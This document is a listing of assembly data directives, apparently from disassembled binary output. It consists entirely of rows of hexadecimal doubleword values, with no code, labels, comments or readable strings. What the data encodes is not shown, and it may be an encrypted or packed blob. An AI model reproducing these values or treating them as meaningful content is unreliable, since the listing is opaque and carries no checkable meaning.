		dd 1326BDBFh, 0F4CD85E4h, 9BA6A67Fh, 0CF2AD83Dh, 25A0E620h
		dd 0F325A9A1h, 0D19BF8E0h, 69A9AA6Ah, 0FC6C3D60h, 776E82C8h
		dd 2A9AF5CBh, 0FA651136h, 2871CC56h, 9DEAADB9h,	0C17D558Ah
		dd 0A99432BBh, 3AB7CD80h, 0DAB1CB81h, 92A8A6A5h, 0C7AE8D10h
		dd 0E6F9BE0h, 7636ACA7h, 9C29FE98h, 6C02216Eh, 61C7AEB9h
		dd 4879F65Fh, 74C8D08Dh, 21BD3ED6h, 0D4A210CAh,	8EA07F9Fh
		dd 90BFE14Eh, 0CED991A6h, 0A9E0272Eh, 9A4DAD60h, 0DFF31434h
		dd 3E988263h, 919BD411h, 0C1887E6Ah, 7649D46Dh,	80901998h
		dd 66982244h, 0CC790F64h, 314BBFC5h, 370662D7h,	3332BCD0h
		dd 4F36D24Ch, 0C68C0D25h, 0BF280998h, 3021D811h, 16939D0Dh
		dd 40476785h, 0FE9312FAh, 6FF73839h, 66F6A52Bh,	29165414h
		dd 45D9C745h, 78F7224Ch, 15C284E5h, 88206F4Dh, 5E0E76F0h
		dd 0D04DDAA0h, 0B48DDD6Ah, 0E5CEF836h, 4489B2D4h, 66F4B51Ah
		dd 8C0DF12Bh, 0CC8BACCh, 70BF57CFh, 31F57Dh, 24CC5DD4h
		dd 836F432Eh, 8778B1Ah,	0CED52A43h, 87E7909Fh, 8880EEF3h
		dd 4A03D11Fh, 1ED43EBAh, 867B704Eh, 7A5C7F3Fh, 52A283C7h
		dd 0B2425F2Eh, 7C11E84h, 103A6B9Ah, 53DEE1ABh, 88205B06h
		dd 0ED5786BCh, 0C3B4027Dh, 2BDD35CFh, 2EF15B6h,	958E954Fh
		dd 7097148Bh, 0CDCDF505h, 8B5DE3Ah, 46412CBEh, 0C885DB17h
		dd 0D67C075Bh, 6F7E750Dh, 0E484C5D0h, 8302849Ch, 0BE65A103h
		dd 0D9DD233Dh, 3844A51Bh, 569700A1h, 0BAFB29h, 6A0311F2h
		dd 20E32A8Ch, 7BC2C164h, 0CE8F4235h, 520B22E7h,	8DCA10CCh
		dd 7BE3D872h, 432B4E46h, 67644C21h, 0C06C1A4Ch,	0D6BE7641h
		dd 0B153E05Fh, 9AEB44A1h, 0B8BE195Bh, 0F86C2795h, 2AF24BB6h
		dd 23C0DEC6h, 0A1AA9738h, 0DBF5140Ah, 174F80D1h, 0CC338FBEh
		dd 0A7887684h, 0D7036DE0h, 3424D20Ah, 3E78668Bh, 0AE3BA86Eh
		dd 5A1A8A7Eh, 0A815D48Eh, 0A1E16A1Ah, 3594FBF3h, 0ABE5DBFCh
		dd 81E220A3h, 0FFEF0D1h, 31E17494h, 22B07756h, 0BE0A4208h
		dd 593A3EFCh, 947A3CBh,	6A7A1CBh, 6F3A706Fh, 579DA41Ch
		dd 35A6AD80h, 2555DCF9h, 8E07AB20h, 366999F9h, 0E82D32A1h
		dd 0BBF4369Fh, 0EC843CAAh, 53D10Ch, 0A37678D5h,	0A0CC0A8Dh
		dd 698B08E2h, 8D408ADFh, 3C2A69Bh, 0D7D49137h, 93949484h
		dd 0A63AA17Ah, 0BEB54379h, 719A4131h, 2A8286DCh, 6C6B0C2Dh
		dd 4DEE25ACh, 28EDE956h, 6A3A06B9h, 0BDB2AD83h,	2FBC2B96h
		dd 0DBF05666h, 18658241h, 1D632900h, 87625C12h,	0D6C9F0ACh
		dd 94B63989h, 0BE280C5Ch, 12F226E9h, 0F71C6EFEh, 7B222E6h
		dd 63615107h, 86E435CAh, 339A9EB9h, 0DBD71332h,	0BC7EF712h
		dd 7F17BB3Ch, 0EB2A3BF2h, 0E5DFDD63h, 44402E2Eh, 249D205Ah
		dd 5EB7A98h, 1F02E47Bh,	0D3339D84h, 0AFF9EE0Fh,	261E2258h
		dd 6A452F71h, 86277C38h, 0DF1B1CD3h, 0B2E20B5h,	7AA27688h
		dd 0C3756107h, 7E0C5421h, 0CE73973h, 9008BA81h,	0BD9DBE8Ah
		dd 0F7F63B7Ch, 0E8B54B1Fh, 74C5DBC3h, 8E09B1F7h, 92985B25h
		dd 9F552BF3h, 0AED0F794h, 0E14A2FABh, 4B958EE5h, 1FD2E09Bh
		dd 8EC92BF1h, 4C3A51AAh, 205E24EFh, 1AFEF7E9h, 0F956B021h
		dd 353FE48Ch, 0B2F182B5h, 45A227D6h, 902C0238h,	2DD54059h
		dd 147BF6B7h, 0F222BC82h, 0F91AD850h, 43DFE115h, 0CD881CB6h
		dd 50E2FB89h, 3D2CA127h, 0ED2946E1h, 8519FEF5h,	0F64CBD42h
		dd 0B8A52D9h, 78BF1F9Bh, 0C75BF498h, 0FFA8A125h, 37EFFC2Ch
		dd 99A66B42h, 0C4BD7C9Eh, 8D26495Bh, 0C6489025h, 3BF55E4Ch
		dd 1AA0EB12h, 0FCC77F6Fh, 9855682h, 0C7314023h,	0CE4E0D3Fh
		dd 0B5F0814h, 3EF438CEh, 0A806F347h, 0F2F21F50h, 0F06791B5h
		dd 21A79EBBh, 8D9ACC84h, 21B2AEBh, 0B1BF757Ch, 0E0D4B05Bh
		dd 0DD1F8A6Eh, 4E8CF31Eh, 0B81BC7FAh, 0C2524D6Dh, 8FA45EE6h
		dd 0BD860110h, 8AEADCBDh, 3E4849Bh, 3339F8E3h, 70EAA63Dh
		dd 0C70A62DBh, 0E2E96C22h, 268C6A0Eh, 0D0AEC7DDh, 0E6231444h
		dd 56CDF3ABh, 70C87DC0h, 168361CCh, 0A8FD0737h,	0D0165017h
		dd 7E35B6Ch, 6FC22748h,	832FF2Fh, 0D262BDE9h, 465723E7h
		dd 3519C733h, 0D284001Dh, 165E5056h, 0CB0BBEB7h, 43C3FA2h
		dd 5344CDEFh, 69368BCBh, 0F7AAF9Ch, 6F6484BCh, 82BC1320h
		dd 0FBD4631Ah, 0B6B8C9E2h, 2A36DB4Eh, 7FEB62EAh, 675D8D7Fh
		dd 0F8B0547Eh, 24AC2552h, 823BE0A8h, 2576F689h,	97C2FE8Eh
		dd 8993E1D8h, 9728A35h,	3BBEAD1Ah, 0AA4A9E46h, 0B79E579Eh
		dd 2DA24C55h, 5E11A329h, 5834FA54h, 11823125h, 3CEE0532h
		dd 838FD8A3h, 6A147DEDh, 0F891AE34h, 0F3663F56h, 604FE1D8h
		dd 101ECB1Bh, 0FFC125CFh, 56146F4Ch, 24471033h,	87171660h
		dd 24C69B3Fh, 86C62BA9h, 0DC37FEC2h, 0BEA0AD2Ch, 0DC0BD1C9h
		dd 239BD9FDh, 916B94Dh,	955CAF4Bh, 1E4222D3h, 338C65h
		dd 1473975Dh, 900F4B9Fh, 0FAD16CFCh, 5A558CEFh,	393F6DC1h
		dd 8BBB15C1h, 16F2C214h, 0A3012F1h, 10C3F36h, 76B13CFBh
		dd 70284423h, 742CFC49h
		dd 4D5BFAB5h, 57265060h, 0C0CA3FF1h, 20F9226Ah,	6E68816Ah
		dd 22929D36h, 6F801ABEh, 0C94B0FAEh, 3997E9A6h,	0AA3B5548h
		dd 3AF9E2EEh, 0EBC578A0h, 0EB2C5B6Ah, 8B320BE0h, 0F5186E5Ch
		dd 0FBC38743h, 0A5CEF8B6h, 7C904E4Ah, 8842801Bh, 2A3AB9Eh
		dd 0CDD0F593h, 0C41075A0h, 28BD6321h, 0A76FBDA6h, 9BE0ED0Ch
		dd 81A0ECA5h, 70A7D0BBh, 0C0BD8BCBh, 1A6F0873h,	71986452h
		dd 0CEA81BEDh, 0D30DDD16h, 0FD956159h, 7A9967AEh, 5A1BA430h
		dd 1253332Dh, 1260B1D5h, 0E363ECE1h, 29322428h,	4127C5DDh
		dd 26AE9B8Fh, 0BBF96F2Fh, 709F7376h, 0DD0B3359h, 2E6D0F5Fh
		dd 0FD206639h, 9CEE6399h, 327F4C08h, 3A92D846h,	82090937h
		dd 6FDB09F4h, 1F235445h, 807B301Fh, 8765CDDFh, 72520A03h
		dd 96292C6h, 0A322434Bh, 8B7FA0C6h, 10FF6528h, 0F63576C5h
		dd 1AFCBF0h, 203A96E7h,	5F9BB436h, 265BA06Eh, 0C323E0ADh
		dd 0AB462501h, 9E0D4249h, 2487AF50h, 218E0A5Ah,	0DEFE52BCh
		dd 2E80DC09h, 0FF7A1ECh, 57157D83h, 20C8B7ADh, 0C348A004h
		dd 0C46FD467h, 28267EE1h, 0ACA1A9ABh, 50DCC4DFh, 0FCB8A347h
		dd 0A15661A8h, 45E91179h, 0AAEC5222h, 4245D787h, 0C6C04ED6h
		dd 0EF5E4AEAh, 82999238h, 6928EBCEh, 9F0E5B4h, 20644AA8h
		dd 71148F47h, 8DD01C68h, 5DE6771h, 7ECBC0A7h, 0CF825ABAh
		dd 991DF06Ah, 5FB67FB9h, 0A5607EA6h, 0D3B3A4F7h, 0A1E37E1Eh
		dd 925E75B4h, 14930044h, 9938041Ch, 9FE5B2B9h, 71AE0ED2h
		dd 0F042A9DFh, 522DA263h, 0C3F0FC1Ch, 0D1D6CFE9h, 7A24A474h
		dd 47894944h, 42D49ECBh, 7CC9F15Eh, 1F1AD4E2h, 9F1B3486h
		dd 44BC526Ah, 0F014B986h, 0B515BA2Bh, 531A8E51h, 933373E8h
		dd 0E9095643h, 25CD538Ch, 0E90C61D7h, 738F1CFh,	6C05581Bh
		dd 25F641EFh, 5F20518Dh, 40C081F3h, 64B330A2h, 791F36F4h
		dd 45C0BF70h, 18969792h, 0A18A13BEh, 8F731E0Ch,	0EEC1A844h
		dd 5E66BB7Dh, 3ADFE471h, 0AD527355h, 0E883B4B5h, 5E5C1A9Ah
		dd 761886D0h, 0D605E44Bh, 656FB6Dh, 48024599h, 0DEE02044h
		dd 9763F49Ch, 0D39C69D9h, 1E0A062Eh, 31246416h,	2B8C4CA0h
		dd 79B93549h, 2616C755h, 36E46379h, 38C9F398h, 1D331753h
		dd 34737BB0h, 9534231Eh, 0F44007D9h, 50FC0957h,	54FB5A07h
		dd 0F7BBD06Ch, 0FE0172ECh, 0B82E0201h, 56668CA5h, 0B97F1114h
		dd 4FF8ACFEh, 3746075Dh, 722413D9h, 0E326E7A1h,	0BA988C01h
		dd 0B31FEBF7h, 785A7518h, 75008915h, 49E7AAC4h,	0F30A83D2h
		dd 0A65F1AA0h, 0C2E01897h, 0F6997233h, 398F65E2h, 0A3400571h
		dd 2E07A32Ch, 210E613Eh, 2455415h, 2476063Ah, 0C6792E75h
		dd 7F1CFA4Fh, 0AB11E1C3h, 29365CCCh, 0ED5B5C06h, 0E7C3C498h
		dd 2598EF3Bh, 9217ABA9h, 1D64DEA0h, 0EF534701h,	77172E8Ah
		dd 0DA85F4A8h, 36A8F650h, 9554A1E9h, 0B27CE1F1h, 16E0A722h
		dd 617DEF72h, 9E6B0DAh,	0E888EFBAh, 0C1FDC37h, 2325259Bh
		dd 0EC23FC81h, 0D9F964A1h, 2FD76E58h, 1BC53304h, 0B734E959h
		dd 11EDE4Ah, 675826CFh,	0B649BA71h, 70AAC354h, 0B7459B24h
		dd 0EF39D210h, 855C8221h, 0F7F7C5D4h, 9C33B2A5h, 0CD242843h
		dd 70CE6EFh, 56B01B7Dh,	41474409h, 0CAB5C42Bh, 531C4C7h
		dd 0B2A3696Ah, 0E3267A88h, 4D6702F6h, 2ED6C3B2h, 0C0AAB660h
		dd 5EF53F85h, 39BB0EE1h, 0B8C88DBFh, 443C50DFh,	418ADC79h
		dd 82900108h, 82699A8Ah, 655F612Bh, 63C9E39Eh, 97F5CC68h
		dd 0CF305B77h, 0D8EBDFD8h, 822E93DBh, 0BC4809A0h, 4781EF61h
		dd 44B42CD6h, 323E3A53h, 0E3DDF4DEh, 0E2C78E5Fh, 7D068A9Dh
		dd 0C5A7BBEBh, 5E1F6E48h, 6D43786h, 0D842EF2Fh,	0C0D26F9Dh
		dd 4079F367h, 6509A73Bh, 3F3ED071h, 7388DB75h, 9F91AC24h
		dd 471872C3h, 68F4501Bh, 0FA5068Eh, 0CB319BBBh,	5F7BA1C5h
		dd 9AE8404Fh, 8119E31h,	6A9DA1D4h, 3804F99Bh, 0B73A66FEh
		dd 0D949F29Bh, 0AA67A543h, 0AD30CD68h, 655C4E71h, 6E3A2A05h
		dd 387BEE40h, 5910A21Eh, 89319A9Eh, 7E789F36h, 8ABA7F8Dh
		dd 0FC097289h, 4298A780h, 0C720095Eh, 0B6F0FD10h, 97C2E034h
		dd 7CB399C2h, 0BEF73587h, 0CF32AB49h, 27D86F35h, 83FDED22h
		dd 49EEEE7h, 0F11761C5h, 8933F071h, 0BD1878Ah, 169DD868h
		dd 0C2305C81h, 2E0E8722h, 1E190D63h, 42C1B9E0h,	45ABA14Dh
		dd 7A86F36Ah, 34880FF7h, 0D4609EEEh, 0DE8EABE8h, 0D36F93F9h
		dd 67E618ADh, 0CEED0C0Fh, 8C319433h, 905291BDh,	0FBEF5FE6h
		dd 53CEBD2Eh, 70150C47h, 0F97686FDh, 7D33BF9Ah,	0CD942B72h
		dd 748B3A6h, 8FE90179h,	0F9009BA7h, 0E9E6FCEFh,	0BFC7312Eh
		dd 1EF2D023h, 0E7C065BDh, 0C23FC298h, 0BF7FEED2h, 1A29B3B1h
		dd 4042FFB6h, 52F6E45Bh, 5062327Dh, 0EAF4E24Fh,	0C10B5354h
		dd 972AFF20h, 60AD71EEh, 0BCFD0154h, 0A954C0F2h, 4A5B3727h
		dd 0C54B206Ch, 0CF16077Dh, 15C67109h, 8762B310h, 7E20E75Ch
		dd 907B57ACh, 0D058FD3Ch, 0BFD33FA9h, 5000A57Bh, 405C2BD7h
		dd 2D9454CFh, 25E1F247h, 934A345Ch, 0FDF4B0E2h,	0A7D44D6Bh
		dd 57B2A96h, 43D78BDh, 0F585055h, 0E8C55679h, 512AA0Eh
		dd 0FA78377Eh, 0DFB5F7DBh, 0F7532FBDh, 49BB4573h, 0E5453128h
		dd 718ECCC7h, 30F8C3D9h, 32CD8D25h, 3351030Bh, 0C69BC859h
		dd 0ECFD179h, 914729BDh, 1A1D5925h, 702F0039h, 90599844h
		dd 67C02B33h, 7A329D45h, 76BB6E27h, 0B146435Eh,	0E8E2D8B9h
		dd 0A11CD7EAh, 8A0B3734h, 0E9F7B654h, 5AA2019Ch, 307A6146h
		dd 51C6CCBEh, 2399743Bh, 0BF5D740Ch, 0DD0F6633h, 85D1F393h
		dd 21A675EAh, 55CF6539h, 8CE1C0BEh, 3D3C1BCFh, 14360FD3h
		dd 0E12E5E06h, 0FFED0027h, 4EC6E546h, 0DEBAEF52h, 3897569Bh
		dd 506A421Ah, 4CC08A9Ah, 0BA7402CEh, 0D69D8C13h, 97413B9Fh
		dd 0D3885C0Ch, 17FBC09h, 0F794FFF4h, 0BD0FE5F5h, 0E9EB5892h
		dd 0C1768948h, 5C3DE24Ah, 0E3CBC332h, 0D32E95A9h, 75BA78BEh
		dd 14205D24h, 0C9E4BF1Bh, 0F1546D20h, 0ABF540B1h, 91614B7Fh
		dd 2060E5C7h, 50332D85h, 8A55D1C6h, 4202CEBh, 0DF10655Ch
		dd 66BFEC1Eh, 0B759867Dh, 0F9569109h, 2AFCFD26h, 0DC4635F6h
		dd 877E07FCh, 2BCF6FA2h, 6F88A532h, 0ECA4F111h,	3B9EF9B8h
		dd 0A9A0CB2Dh, 0FFADF5B9h, 35CE4FF6h, 0FCDED046h, 3F24D697h
		dd 1E44CC0Ch, 0B4C53007h, 6874EF1Eh, 0BB8955B5h, 7A34123Dh
		dd 5573F911h, 78CCC8CBh, 0B8087B20h, 3CA3FDBh, 0C9A24E1Bh
		dd 0F05B35EEh, 91F59407h, 12CFB5A6h, 19A311FDh,	4ED6FAF1h
		dd 7F368939h, 0C19CD110h, 0EBBEC032h, 219933C0h, 5C33BA4h
		dd 0CBAAC816h, 0CD7CB84h, 944C0569h, 6FB00911h,	1331E673h
		dd 0D27A9FF6h, 60D97261h, 914CAC0Ch, 0F930399Eh, 0EE373077h
		dd 9923CE77h, 874B7198h, 4DC68EA2h, 24A2178Ah, 15F317AFh
		dd 34EFEC7Bh, 48647DEDh, 3CF3F9B7h, 9F2CAE25h, 31B96B33h
		dd 5F6AC2F7h, 29CC6719h, 0AEA272C1h, 6CB9D1BDh,	0DB6533AFh
		dd 9C045999h, 9C9352EFh, 0ED194A35h, 3A161996h,	0A1F6A283h
		dd 76AF332Bh, 4D209455h, 0B87D19BAh, 162E6F61h,	0AC5E6791h
		dd 5A780795h, 166EBBC5h, 9AF4BD6Ah, 0DC95D712h,	0C05B865h
		dd 0D935B8D3h, 0AD9A669Ch, 13834B04h, 73D15502h, 0EA352D88h
		dd 0A22CE457h, 0AF8BB93Bh, 9FD153BDh, 2E945AAh,	322888ECh
		dd 96B28419h, 260046FEh, 435E45AAh, 0F94ECD27h,	981CB362h
		dd 0AB86835Ch, 9D0C27CCh
		dd 2586ADE9h, 0AB0A0E0Ah, 9EF98589h, 260A4E3h, 2248650h
		dd 0BB45C032h, 0DDFA27FAh, 0EEEF24A6h, 0CBA243BFh, 26DC109Eh
		dd 0EC336F90h, 5371497h, 0DC2DA928h, 13F8DA0Fh,	6B227A4Ah
		dd 1FEA29C0h, 0E1F752E2h, 4E257AE7h, 7E78784Ah,	3127B29Bh
		dd 649AF649h, 365A1312h, 0DE4E5269h, 2E24E1DBh,	300F526Ch
		dd 0EBAB6417h, 977CDB75h, 381BB73Bh, 0B9BA0A30h, 327011E4h
		dd 0A0C2B878h, 59D87C07h, 1FE55F61h, 3BC5642Ah,	0A0D183F3h
		dd 55B86398h, 0F3C62D95h, 0D1315AF2h, 0D46F3BE0h, 0B3D9A066h
		dd 0DFB5F1ACh, 0CA5121A3h, 0A007339Bh, 1748E9BDh, 16A1EE86h
		dd 8996DA5Fh, 0DE103Eh,	225A9908h, 0E919D02Eh, 0A7054B79h
		dd 0C1D1EF92h, 6EBECEBEh, 0B4B49EF9h, 0E66B7BBAh, 0CFF1762Fh
		dd 0FD829298h, 0E8DAB10Eh, 2D8D42ADh, 8EA8E7DCh, 0FF9476DDh
		dd 21FC49E0h, 0C20C3FFFh, 49A5EA3h, 91142B3Dh, 35CFAC82h
		dd 6DDF6E24h, 79B64F9Ch, 0F07D47F1h, 0A9534E51h, 8A059068h
		dd 7485C9CAh, 8422CB26h, 4F5565B4h, 5D14AD1Eh, 0D2A1D88Dh
		dd 0EAAD82EEh, 2813C72Ch, 864E6F5Ah, 0BE41C6DEh, 79AF5D81h
		dd 2A111AA9h, 893DDA4Fh, 38B1A552h, 983A3135h, 53686CF7h
		dd 4455B513h, 9BEB9003h, 0DD8DBFBEh, 0C777C569h, 49D3C47Dh
		dd 8587CA98h, 77352233h, 0CB2B6103h, 0DE66596Ch, 178DAD80h
		dd 98814D1Ah, 0A2C94643h, 3F667D34h, 8D624E0Dh,	0B951564Ch
		dd 0FEE2639Dh, 0B8886EA4h, 0EE0BF7F8h, 0A1B02563h, 17C7BE52h
		dd 0A4873E44h, 0A5CCC645h, 0F0F1A5E4h, 36D56BEBh, 0CAFAD678h
		dd 0E9B7CEDEh, 0BD26F969h, 5A5D3530h, 125994D9h, 0F583981Fh
		dd 0D3E90D41h, 3749355Eh, 0CBD1BEB8h, 82B2B21Ah, 0F0F01C7Ah
		dd 5BE8BF47h, 9B4B8654h, 94935727h, 0FE62763Bh,	0A284B595h
		dd 4997EAF6h, 0F0B55BF8h, 45A607A5h, 0EC3EEB4h,	0D41D9E99h
		dd 55A8D1FAh, 18AB4377h, 1150A0Eh, 0A3A9C06Ah, 0BC85EE51h
		dd 98B2E844h, 84DD2928h, 77C9F452h, 0C27951BFh,	0CC8E101Fh
		dd 3AF76B24h, 0CB9701A8h, 515A4654h, 0C023327Eh, 180381C1h
		dd 0B4C33678h, 18AB35EDh, 0C0901677h, 1A7E031h,	0D4B6E6Dh
		dd 1D004BAAh, 35745ED1h, 0A927B08Dh, 0A7D2962Ch, 71E2062Fh
		dd 812C6215h, 0BCF31014h, 94B3D76h, 826E988Ah, 41979B6Ah
		dd 4451D080h, 3FF8AFh, 22D7FE38h, 244FA947h, 539C0D24h
		dd 0DFC84CB2h, 3E6EE6B9h, 55BDE04Bh, 25D947EEh,	0F1FDF13Fh
		dd 73242A19h, 7983871Dh, 299BE913h, 778E9A8Eh, 0E8A4EE50h
		dd 0F9ED1AC7h, 29CC457Bh, 6A0CEFA4h, 0D649899Ah, 811D5EBFh
		dd 6E0E8FB9h, 0FEE1003Dh, 0D086D137h, 0D5CF1954h, 7164B8ACh
		dd 0EF9B1074h, 0EAF22F59h, 0DC3D1EBCh, 5207F3AAh, 13521C4Eh
		dd 8D9E920Dh, 0E79F76E0h, 0FE099D5Bh, 2B8F905h,	0BACEB08h
		dd 154AA857h, 5648B587h, 0D7B2354Ch, 7C067684h,	0EB9570F2h
		dd 4486265Eh, 0EB782C0Fh, 26F94837h, 0A3586D1Ch, 634DA4Dh
		dd 88229394h, 0C87BBAE7h, 58CDC619h, 0B67EF48Eh, 550639A0h
		dd 2CA25DA2h, 5A304D3Ch, 341352F3h, 93709117h, 24F0D669h
		dd 0EE656C65h, 26E2F6h,	76823005h, 3A9EB40Bh, 0A816809Dh
		dd 8C9C184Fh, 74DA9E6Ch, 0D5727D40h, 5E8CDEF4h,	670BAEB0h
		dd 0B9F10322h, 0F5335636h, 4509C1FDh, 260915EFh, 15764AEAh
		dd 8A2D046Bh, 81A26EFEh, 0B26011Fh, 0C2E1C60h, 1894D04Ch
		dd 0AF25C162h, 60DF3FE4h, 0C2343603h, 4225934Bh, 6AA26AEEh
		dd 4248102Eh, 1DCC1B00h, 43CD0D19h, 51DE3DD4h, 0E682C24Ch
		dd 0BEAD450Dh, 0F20A5997h, 74D1BDABh, 0B67D508Eh, 14EF01E2h
		dd 0E69A1171h, 428677DBh, 685A3F64h, 648E8530h,	28678888h
		dd 8214FEEAh, 25CC8D2Bh, 0D3413872h, 72D9AB71h,	30256A8Dh
		dd 98BD6A76h, 2587238Ah, 88BC5D68h, 46287D63h, 34F99F64h
		dd 0D0091BA1h, 954BA49Bh, 0B0D87FD1h, 473A2F4Ah, 5B1CF150h
		dd 64E0BA29h, 8A4A210Eh, 0E79EFED4h, 4CCFFDC3h,	0E7CFAC2h
		dd 0E48A820Ch, 354D02FBh, 15235769h, 0EDFA50AAh, 0D297C56Dh
		dd 6A5D6AB4h, 0D7AE8D6Eh, 3F3F9775h, 7CA207B8h,	3E0FA472h
		dd 9EFB78CBh, 0B94ED33Ah, 0C06175C4h, 8096229Dh, 582D4B2Eh
		dd 41DBF437h, 0D509DA8Fh, 292F00C8h, 0DFEE404Ah, 0EB26ED46h
		dd 0BF1D138h, 0A158CFC2h, 2D7FCF9Bh, 672C7F7Eh,	0E3179F0Eh
		dd 8D2C1C01h, 85EFC825h, 0F76F8283h, 2C56FF92h,	0DE01C2D2h
		dd 0BABAF487h, 0FF9F6AF1h, 0B1C95BDCh, 0BE6F08A7h, 136EB75Ch
		dd 0FED59DE9h, 5630B6AAh, 1311A0DFh, 7014986Dh,	3D294906h
		dd 45D39F82h, 640F87B7h, 4078D406h, 2870E7FFh, 80D40E82h
		dd 3FADAE98h, 85CFA24Fh, 96C43392h, 2CAA9096h, 0D483BCDFh
		dd 1BC32E09h, 0EAECB4BDh, 6FD298Fh, 0ACC2EABEh,	0A1684628h
		dd 0C5F98B6Eh, 374ABF4Dh, 8E6A268Ah, 46DFED6Dh,	3EE14F18h
		dd 22827CE0h, 879EE4E8h, 0B8523BA1h, 3D2A7A5Dh,	0BF555626h
		dd 96870266h, 543F18F9h, 0CACAD4AEh, 20BAC7DEh,	1202625Dh
		dd 30306739h, 67FCFBE7h, 82A7203Fh, 347565EFh, 68A10BDDh
		dd 8640556Ch, 96669600h, 94A27495h, 0B1572020h,	95E21032h
		dd 0E3B68282h, 811CCCF4h, 75BA922Ch, 0EAA6C82Eh, 87D646BCh
		dd 9EA5DA09h, 99D11E9h,	9B71A474h, 0D34F0DACh, 0FB296CCCh
		dd 8A55ECFEh, 72FCA54Eh, 0ACCEA015h, 3C5F144Bh,	0B4431C30h
		dd 0DC074F30h, 8215A1C8h, 27068CF9h, 8F2A9C5Ch,	868FE702h
		dd 1D6607DDh, 6B2A7F37h, 168952A9h, 82B941ECh, 2C6E3D39h
		dd 0B7CCD4B3h, 4F243047h, 42834A28h, 9B16935Eh,	20B3E7D6h
		dd 0A4BFB7CFh, 9C3E2CB2h, 9596730Ah, 8B9123A2h,	34CAB495h
		dd 0EBCB2553h, 7B3AEAF4h, 0B080641Eh, 0A2C0A41Ah, 0AF6C2CA3h
		dd 8CF96433h, 0DC90EFB2h, 6022A06Dh, 8E0FF39Ch,	0EDCF42B2h
		dd 40416D30h, 0A76728F0h, 8983EF25h, 1276B93Bh,	0B4E8DB4h
		dd 0D8A2D7F3h, 3725D6DDh, 5F7DB059h, 0E14471FCh, 0D603F996h
		dd 22439A16h, 781024D7h, 68512B36h, 0C7657A40h,	1BBE8E6Ah
		dd 581D528Eh, 1E560A72h, 7FDC6393h, 0E8D8C2CBh,	20E38455h
		dd 0E386FED8h, 3A40E3E7h, 0C7BD88CDh, 0DA62D471h, 8D5AE4C9h
		dd 0DCC1107Bh, 3394B80Fh, 0B5C31A8Fh, 705EFCC8h, 19523199h
		dd 602C1AF7h, 0B099D7AAh, 9FA505FAh, 55925F62h,	0C115B220h
		dd 8D18BD5h, 77392126h,	0F10A4CF7h, 2F76277Eh, 0BBC0E5DDh
		dd 3139CDCCh, 0CE0B4137h, 353A8E79h, 944A3130h,	0D9555AD0h
		dd 0FDDE39B8h, 0AFB9EEF7h, 3647AB76h, 3A97BEF2h, 9D557C8Bh
		dd 173AEB88h, 0BA399C33h, 87CE1990h, 8C14E239h,	0B7302D91h
		dd 52995EF0h, 144786CDh, 0D9F3BC5Ch, 0B282EE07h, 0F6743198h
		dd 229E5677h, 3E547F02h, 5D808E08h, 5C4FD666h, 0D0DCA6F0h
		dd 4E8864E5h, 0CF4D908Fh, 45937881h, 69CD71C2h,	154EAF46h
		dd 9B1B4C59h, 4E928CB7h, 5345C4FDh, 8CAC2598h, 857F5983h
		dd 271A28BAh, 295B304h,	0DC3EED23h, 840DAEBCh, 0A98DDCCAh
		dd 0BB5E878Fh, 1909CF9Fh, 431E30A2h, 5645B581h,	2DA780BBh
		dd 93E1D889h, 6358DF9Ah, 0A38C0710h, 0E41DE5EFh, 0D7BB0872h
		dd 38E55838h, 0DD34D650h, 8DC7BF10h, 18B08A52h,	0A0E25194h
		dd 8808952Ah, 0BDB85C18h, 0B5B0B4B3h, 0ACA476B7h, 87BEEDB4h
		dd 5311DD6Fh, 791A6FFh,	6495514Fh, 0B8D36C35h, 11C40B7Bh
		dd 792A739Bh, 0A07C8B19h, 229F609Eh, 59FFB18Fh,	5FF84325h
		dd 2BB8BAAAh, 59AF76D9h
		dd 9FEF3EB4h, 3B43C759h, 0EA1203F0h, 320C7E4Ah,	0C5BC5EE2h
		dd 5C920514h, 0F67E22A4h, 0ED3DD01Fh, 0CD2A405Ch, 82A21CA8h
		dd 10D3761Bh, 19A0C07Eh, 30B27F26h, 0D97E7A08h,	0F3B5F3BBh
		dd 17FE7CEFh, 6BC52F8h,	98440CADh, 960BEB9Dh, 0FF5BCEECh
		dd 0D078A6D4h, 540D36A6h, 0E329CD15h, 0BB37B1AEh, 15B85F35h
		dd 0AD44CA72h, 0CD4AF06Eh, 2B504806h, 2D822BC5h, 8569BD71h
		dd 0D9F2900Eh, 0CFEBDC6Bh, 9829D0F5h, 0EF9B9C7Ah, 8E9F364Ah
		dd 8BD2165h, 1483A2B9h,	1D4770D3h, 0FEA960BCh, 5EBD29DEh
		dd 0AECDA710h, 59E0EA8Dh, 0CBACAB3Ah, 402B4840h, 5B5969DEh
		dd 3DBECC2Ah, 9D417D65h, 0BAEBC2AFh, 426FF101h,	86DD320Dh
		dd 66699544h, 0EEF1D6D6h, 34B51396h, 6F3C66A9h,	5A624DBBh
		dd 670EA593h, 0D176849Ch, 1B18C2AEh, 7753E8E8h,	811C5A78h
		dd 54FBC6B1h, 98C04F4h,	0B4DFC2EBh, 0C8A0AD3Fh,	0F07091C7h
		dd 72AD91F0h, 0C230EFA0h, 26991AF6h, 4D1987D1h,	58DF2839h
		dd 2CE5E7F6h, 9BC1386Ch, 56744DDCh, 0D42E7CA0h,	29708BD2h
		dd 3D6B6E40h, 4BD41714h, 53D90D55h, 37B1240h, 0E88F5397h
		dd 632A034Ch, 0B2A9E727h, 7DCF8302h, 4BDE566Dh,	55548528h
		dd 0C65B77D6h, 40314A20h, 0C875354Ah, 0FD8248FCh, 5190536h
		dd 0B808B4F3h, 0E95A1F04h, 0F3F2D47Fh, 0D186436Eh, 0C9CD02F7h
		dd 0A1880ABAh, 0AD51D29Dh, 0BCB10D99h, 27FA439Fh, 2FFF7145h
		dd 0C18C0E7Ch, 50E10B19h, 54D9B11Dh, 8BE3E448h,	65E6E100h
		dd 9A5CB6B7h, 2FC069Ah,	0C2022E96h, 46A7C09Dh, 46583CFh
		dd 19DCD9B6h, 9B5F1279h, 3EDB2057h, 252DE7ECh, 70E8F690h
		dd 2B78D5C5h, 5AFD80DBh, 7EF4BD85h, 90EF25F7h, 0C3E303A4h
		dd 3FFAB0F5h, 0BE531FFEh, 0B7FB4570h, 0AF94B9EAh, 1E7DE878h
		dd 118C9727h, 4BA2A720h, 3E1BD30Fh, 41482E5Ah, 5FBF1849h
		dd 0D730007Bh, 2FC7A9D2h, 42B5DDCBh, 1ED43C37h,	0CD94EF0Ah
		dd 83F31032h, 6FD759CDh, 2E5C54EDh, 2266A45Dh, 0A10D468Ah
		dd 0D73C5BF0h, 1A2F9F3Ch, 0A4E90F27h, 58B49FC5h, 636A07BCh
